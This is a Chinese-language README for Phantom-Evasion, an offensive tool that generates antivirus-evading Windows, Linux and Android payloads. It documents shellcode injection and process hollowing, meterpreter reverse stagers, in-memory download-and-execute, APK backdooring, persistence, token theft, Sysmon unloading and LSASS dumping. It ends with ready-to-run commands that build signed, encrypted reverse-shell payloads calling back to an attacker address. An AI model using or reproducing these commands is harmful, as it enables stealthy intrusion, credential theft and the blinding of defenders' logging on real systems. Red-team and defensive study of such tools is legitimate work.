PHANTOM EVASION 3.0

Phantom-Evasion 是一款用 Python 编写的防病毒绕过工具（兼容 Python 和 Python3），即使使用最常见的 x86 msfvenom 载荷，也能生成（几乎）完全免杀的可执行文件。

以下操作系统官方支持自动安装：

1. Kali Linux
2. Parrot Security

以下操作系统可能支持自动安装，但需要手动安装 metasploit-framework：

1. OSX（已在 Catalina 上测试）
2. Ubuntu
3. Linux Mint
4. Elementary
5. Deepin
6. 其他 Debian 发行版
7. Centos
8. Fedora
9. Blackarch

以下操作系统需要手动安装：

1. Windows 10

只需 git clone 或下载并解压 Phantom-Evasion 文件夹

安装：

自动安装：打开终端并执行：

python3 phantom-evasion.py --setup

或：

chmod +x ./phantom-evasion.py

./phantom-evasion.py --setup

或在交互模式下启动 phantom-evasion 并选择选项 7

依赖项（仅手动安装时）

1. metasploit-framework
2. mingw-w64（Windows 上使用 cygwin）
3. gcc-multilib
4. apktool
5. apksigner
6. strip
7. osslsigncode

命令行/交互模式：

1. 在交互模式下启动 phantom-evasion：

python3 phantom-evasion.py

或：

./phantom-evasion.py

2. 若要查看命令行模式选项：

python3 phantom-evasion.py --help

或：

./phantom-evasion.py --help

WINDOWS 模块

• 每个 Windows 载荷 C 模块均可编译（支持 x86 和 x64）为 EXE 或 DLL/ReflectiveDLL。

• 随机垃圾代码注入（可设置强度、频率和重新注入概率）以及 Windows 防病毒绕过技术（可设置频率）。

• 支持多字节 Xor/Vigenere 壳码/文件加密，适用于 Shellcode 注入和 Download Exec 模块。

• 支持 Ntdll unhookapi 和 Peb 进程伪装技术。

• 支持多种执行模式（本地和远程）。

• 支持多种载荷内存分配模式（Virtual_RWX、Virtual_RW/RX、Virtual_RW/RWX、Heap_RWX）。

• 可设置动态加载 Windows API。

• 支持证书伪造和签名。

• 剥离可执行文件（https://en.wikipedia.org/wiki/Strip_(Unix)）

Windows C Shellcode 注入

支持 Msfvenom Windows 载荷和自定义壳码。 壳码可以作为资源存储，并在运行时通过 FindResource API 检索。

支持的壳码加密方式：

1.无

2.多字节 Xor

3.双密钥多字节 Xor

4.Vigenere

5.双密钥 Vigenere

1. 本地执行方法可以是以下之一：

   Thread

   APC

   本地内存分配模式可以是以下之一：

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

   Heap_RWX

2. 远程执行方法可以是以下之一：

   ThreadExecutionHijack（简写为 TEH）

   Processinject（简写为 PI）

   APCSpray（简写为 APCS）

   EarlyBird（简写为 EB）

   EntryPointHijack（简写为 EPH）

   远程内存分配模式可以是以下之一：

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

Windows 纯 C meterpreter 阶段器（C）

纯 C meterpreter 阶段器（TCP/HTTP/HTTPS）模块，兼容 msfconsole 和 cobalt strike 信标。（reverse_tcp/reverse_http/reverse_https）

使用命令行模式：

reverse_tcp c 阶段器为 WRT

reverse_http c 阶段器为 WRH

reverse_https c 阶段器为 WRS

1. 本地执行方法可以是以下之一：

   Thread

   APC

   本地内存分配模式可以是以下之一：

   Virtual_RWX

   Virtual_RW/RX

   Virtual_RW/RWX

   Heap_RWX

Windows Download-Exec NoDiskWrite

从提供的 URL 下载 exe/dll 到内存中并执行/加载到远程进程（无需写入磁盘）。

支持的 EXE/DLL 加密下载：

1.无
                                 
2.多字节 Xor
                                 
3.双密钥多字节 Xor
                               
4.Vigenere
                                
5.双密钥 Vigenere

加密后的 DLL/EXE 将保存为原文件名 + "crypt" + ".dll" 或 ".exe"，这就是要下载的文件

1. Windows DownloadExecExe NoDiskWrite（命令行模式下为 WDE）：

   远程执行方法可以是以下之一：

   ProcessHollowing（简写为 PH）

2. Windows DownloadExecDll NoDiskWrite（命令行模式下为 WDD）：

   远程加载方法可以是以下之一：

   ReflectiveDll（简写为 RD）

   RDAPC（ReflectiveDllAPC）

   ManualMap（简写为 MM）——> 仅 x86

LINUX 载荷

Linux Shellcode 注入模块（C）

支持 Msfvenom Linux 载荷和自定义壳码。

ANDROID 载荷

1. Android Msfvenom 混淆后门：

   使用 apktool 混淆 msfvenom 载荷并重新构建（smali/baksmali）。 混淆后的载荷可用于后门化良性 apk 文件。

持久化模块

1. Windows 持久化 RegCreateKeyExW 添加注册表项（C） 编译后的可执行文件需要上传到目标机器并执行，指定要添加到启动项的文件的完整路径作为参数。

2. Windows 持久化 REG 添加注册表项（CMD） 此模块生成持久化命令行载荷（通过 REG.exe 添加注册表项）。

3. Windows 持久化 Keep Process Alive（C） 编译后的可执行文件需要上传到目标机器并执行。 使用 CreateToolSnapshoot、ProcessFirst 和 ProcessNext 检查指定进程是否每 X 秒存活（若不存在则使用 WinExec API 创建新进程）。

4. Windows 持久化 Schtasks（CMD）

   此模块生成持久化命令行载荷（使用 Schtasks.exe）。

5. Windows 持久化 Create Service（CMD）

   此模块生成持久化命令行载荷（使用 sc.exe）。

权限提升模块

1. Windows DuplicateTokenEx（C）

   使用从另一个进程克隆的令牌创建新进程。 编译后的可执行文件需要上传到目标机器并执行。

后利用模块

1. Windows Unload Sysmon（C） 卸载 sysmon 驱动程序，导致系统停止记录 sysmon 事件日志。 编译后的可执行文件需要上传到目标机器并执行。

2. Windows Unload Sysmon（CMD） 卸载 sysmon 驱动程序，导致系统停止记录 sysmon 事件日志。

3. Windows Attrib 隐藏文件（CMD） 使用 attrib 隐藏文件

4. Windows SetFileAttribute 隐藏（C） 使用 SetFileAttribute API 隐藏文件。 编译后的可执行文件需要上传到目标机器并执行。

5. Windows DumpLsass（C） 使用 MiniWriteDumpWrite API 转储 Lsass。 编译后的可执行文件需要上传到目标机器并执行。

6. Windows DumpLsass（CMD）

   从命令行转储 Lsass。

Phantom-Evasion 命令行模式示例：

1. Windows shellcode 注入，输出带伪造 HTTPS 证书签名的 exe，本地执行方式：Thread，内存：Virtual_RWX，加密：vigenere

python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe

2. Windows x64 shellcode 注入，输出为 reflective dll，远程执行方式：ProcessInject (PI)，内存：Virtual_RW/RX，目标进程：SkypeApp.exe，加密：双密钥 xor

python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll

3. Windows x64 shellcode 注入，输出为剥离的 dll，壳码存储为资源，远程执行方式：EarlyBird (EB)，内存：Virtual_RW/RX，目标进程：svchost.exe，加密：xor

python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll

4. Windows x64 reverse https 阶段器，输出为剥离的 dll，本地执行方式：Thread，内存：Heap_RWX

python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll

5. Windows x86 downloadexec dll，输出为剥离的 exe，远程执行方式：ManualMap (MM)，目标进程：OneDrive.exe，下载大小 1000000 字节

python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000  -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe

6. Windows x64 downloadexec exe，输出为剥离的 reflective dll，远程执行方式：ProcessHollowing (PH)，目标进程：svchost.exe，下载大小 1000000 字节

python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000  -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll

许可证

GPLv3.0

致谢和有用资源

https://github.com/stephenfewer/ReflectiveDLLInjection

https://github.com/rsmudge/metasploit-loader

https://ired.team

https://github.com/theevilbit/injection

http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf